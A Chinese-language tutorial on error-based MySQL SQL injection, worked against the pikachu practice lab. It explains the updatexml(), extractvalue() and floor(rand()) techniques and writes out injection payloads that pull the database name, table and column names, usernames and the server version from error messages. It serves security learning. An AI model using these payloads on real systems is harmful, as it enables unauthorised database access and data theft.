常用的用来报错的函数
updatexml() : 函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
extractvalue(): 函数也是MYSQL对XML文档数据进行查询的XPATH函数。
floor(): MYSQL中用来取整的函数。
思路:
在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。select / insert / update / delete 都可以使用报错来获取信息。
前提条件是后台没有屏蔽数据库报错信息,在语法发生错误时,会输出到前端。
updatexml()
Updatexm()函数作用: 改变(查找并替换) XML文档中符合条件的节点的值。
语法: UPDATEXML (xml document, XPathstring, new_value)
第一个参数: fiedname是String格式,为表中的字段名。
第二个参数: XPathstring (Xpath格式的字符串)。
第三个参数: new. value,String格式,替换查找到的符合条件的
Xpath定位必须是有效的,否则会发生错误。
pikachu - 字符型注入(GET) 实验:
aa' and updatexml(1,concat(0x7e,database()),0)#// 0x7e 是 ~ 的十六进制 ,避免报错信息被吃掉;
如果没有concat ,而是aa' and updatexml(1,database(),0)#
这样报错信息会少一部分,没法完全展示;
获取到了数据库名称 pikachu,我们可以把 database() 替换成任意我们想要获得的东西。
得到数据库名称后,根据数据库名,查询表名
aa' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'pikachu')),0)#
// 中间的select 语句要用() 括号括起来//查询报多于一行
aa' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'pikachu' limit 1)),0)#
使用上述语句,查到第一张表名;继续使用limit 1,1 或 limit 2,1 查询下去,可以把所有的表名查询出来; 或者burp suite 参数化查询把所有表查出来。
得到表名后,可以根据表名查询字段名
aa' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 0,1)),0)#
得到所有列名。可以根据列名获取数据
aa' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#
extractvalue()
extractvalue()函数作用:从目标XML中返回包含所查询值的字符串。
语法: ExtractValue(xm| _document, xpath. string)
第一个参数: XML document是String格式,为XML文档对象的名称,文中为Doc
第二个参数: XPath_ string (Xpath格式的字符串)
Xpath定位必须是有效的,否则会发生错误。
打开字符型注入,输入payload。
aa' and extractvalue(0,concat(0x7e,version()))#
效果差不多,理解以此类推即可。
floor()
原因:floor()报错注入的原因是 groupby 在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前 concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或数执行后的结果。
floor()函数:对传入的值进行向下取整操作,并返回结果,如floor(1.999),则返回1 ;
rand()函数,返回随机数
rand(x)函数,x在这里代表参数,当rand()函数有了参数后,生成的就是伪随机数,什么意思呢?比如你使用rand(0)产生的第一个随机数产生的随机数相同,也就是当rand(x)这个参数x已知的时候我们就能知道;
在字符型中输入payload得到版本号。
aa' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#